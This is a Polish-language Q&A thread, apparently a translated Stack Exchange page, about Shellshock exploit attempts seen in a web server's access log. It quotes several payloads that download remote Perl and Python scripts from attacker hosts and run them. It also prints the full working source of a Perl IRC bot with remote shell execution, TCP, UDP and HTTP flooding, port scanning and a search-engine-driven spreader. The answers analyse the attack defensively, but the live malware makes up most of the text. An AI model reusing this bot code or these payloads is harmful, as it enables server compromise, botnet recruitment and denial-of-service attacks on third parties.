Czy to atak, czy coś, o co należy się martwić? Shellshock?

Widziałem to access.logna moim serwerze testowym:

> 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget
> http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ;
> perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""

Żaden z adresów nie jest powiązany ze mną ani z naszym zakresem adresów IP (ani niczym innym w tym zakresie). Natychmiast pomyślałem o błędzie bezpieczeństwa Shellshock / „bashdoor”.

Wygląda na to, że ktoś próbował curl„coś” skierować na serwer, a następnie wykonał to „coś”, a następnie usunął „coś” za pomocą -rf.

Jest to czysty serwer testowy, nie wyrządza się żadnej szkody (== nie można wyrządzić szkody oprócz ponownej instalacji) - ale czas jest bardzo interesujący. O ile pamiętam, nie widziałem czegoś takiego wcześniej.

Czy powinienem się martwić, np. Być „zainteresowany”? Czy ktoś ma pojęcie o tym, co to jest?

To ktoś wykorzystujący błąd Shellshock. Czy możesz określić, co robił skrypt Perla? Zdecydowanie warto się w to zagłębić. Drugi użyty adres URL zwraca 404, ale http://213.5.67.223/jiistnieje i może być tym samym, ponieważ jest to skrypt perla. Wygląda na to, że jest to jakiś serwer IRC, więc połączenie się z serwerem testowym za pomocą klienta IRC może okazać się interesujące. EDYCJA: Komentarz mnie poprawił, jest to klient, który potrafi cię węszyć.

Sprawdź także, czy skrypt perla nadal działa.

#!/usr/bin/perl
# ------------------------------------------------------------- #
#           LinuxNet perlbot            #
# ------------------------------------------------------------- #

#system("kill -9 `ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}'`");

my $processo = '-';


my @titi = ("index.php?page=","main.php?page=");

my $goni = $titi[rand scalar @titi];

my $linas_max='7';
my $sleep='7';
my @adms=("x","JB" );
my @hostauth=("localhost","outlaw");
my @canais=("#gnu");
my $nick='|GNU|';
my $ircname ='GNU';
chop (my $realname = `uname -sr`);
$servidor='ircd.w3h.co.uk' unless $servidor;
my $porta='443';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\.say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         } 
       }
    }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4; 
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}


sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");     
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found"); 
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($3>$cur_time){
             $cur_time = time - $itime;
         &tcpflooder("$1","$2","$3");
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
           }
       if ($funcarg =~ /^version/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);           
        }
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1." seconds.");
         srand;
         my $itime = time;
         my ($cur_time);
         my ($exploited);
         $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
        while($1>$cur_time){
            $cur_time = time - $itime;
            @urls=fetch();
            foreach $url (@urls) {
            $cur_time = time - $itime;
            my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;

            $url =$path."/$goni$boturl" ;




            $page = http_query($url);
            $exploited = $exploited + 1;
            }
        }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($2>$cur_time){
             $cur_time = time - $itime;
         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
         close($socket);
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   } 

if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
 }

   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  } 
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}  
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(5)) * $n);

my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
        "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
        "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
        "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
        "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
        "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
        "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
        "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",      
        "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
        "vu","vn","ye","yu","cd","zm","zw","");
my @str;

foreach $dom  (@dominios)
{
    push (@str,"allinurl:%22".$dom."/".$goni."%22");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";


    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
    if ($1 !~ m/google|cache|translate/){
        push (@lst,$1);
    }
    }
    return (@lst);
}


sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;

    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
    local $SIG{ALRM} = sub { die "1";};
    alarm 10;
    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
    my @r = <$sock>;
    $page="@r";
    alarm 0;
    close($sock);
    };    
    return $page;

}

Luka Shellshock służy do pobierania (używania wget) i wykonywania złośliwego skryptu Perla, ten atak jest bardzo prosty i wymaga zainstalowania zarówno Perla, jak i wget (zakładając, że jeden z nich nie jest i jesteś pewien, że nie było innych prób włamania, twój serwer nie został naruszony).

Sam skrypt jest podstawowym botem IRC skryptu-kiddie, po uruchomieniu bzdura łączy się z serwerem IRC i czeka na polecenia, wygląda na to, że ma możliwości wyszukiwania Google, najprawdopodobniej automatycznie wyszukuje podatnych hostów i próbuje je wykorzystać. Poza tym oczywiście masz podstawowy arsenał typu skiddie, którym jest powódź HTTP, powódź TCP i UDP oraz dostęp do powłoki (jako użytkownik, który uruchomił skrypt, którym byłby użytkownik, pod którym działa serwer HTTP).

Jak już wspominali inni, jest to próba wykorzystania skryptu przez dzieciaka, aby wykorzystać lukę bash w celu uruchomienia bota IRC opartego na skrypcie perl. Jeśli zaktualizowałeś bash , a ponadto, jeśli uruchamiasz apache pod chrootem tak jak ja, nie masz się czym martwić. Widzę kilka wersji tego w moim dzienniku (patrz poniżej) przynajmniej co drugi dzień od 27 września ... to tylko hałas.

12.64.2d.static.xlhost.com - - [27/Sep/2014:12:36:34 -0500] "GET /cgi-bin/hi HTTP/1.0" 404 1023 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""        
12.64.2d.static.xlhost.com - - [29/Sep/2014:00:39:41 -0500] "GET /cgi-bin/hi HTTP/1.0" 404 1023 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""        
web21.qna.vengit.com - - [01/Oct/2014:04:52:24 -0500] "GET /cgi-bin/hi HTTP/1.0" 404 1023 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\""

Kolejna odmiana próby wykonania skryptu (skrypt w języku Python), którą właśnie zauważyłem dzisiaj ... UWAGA: google-traffic-analytics.com, gdzie jest pobierany skrypt w języku Python, nie ma oczywiście nic wspólnego z Google.

cm232.delta210.maxonline.com.sg - - [04/Oct/2014:01:45:38 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
localhost - - [04/Oct/2014:01:45:41 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
169.118.103.218.static.netvigator.com - - [04/Oct/2014:01:45:45 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
mm-2-192-57-86.dynamic.pppoe.mgts.by - - [04/Oct/2014:01:45:52 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""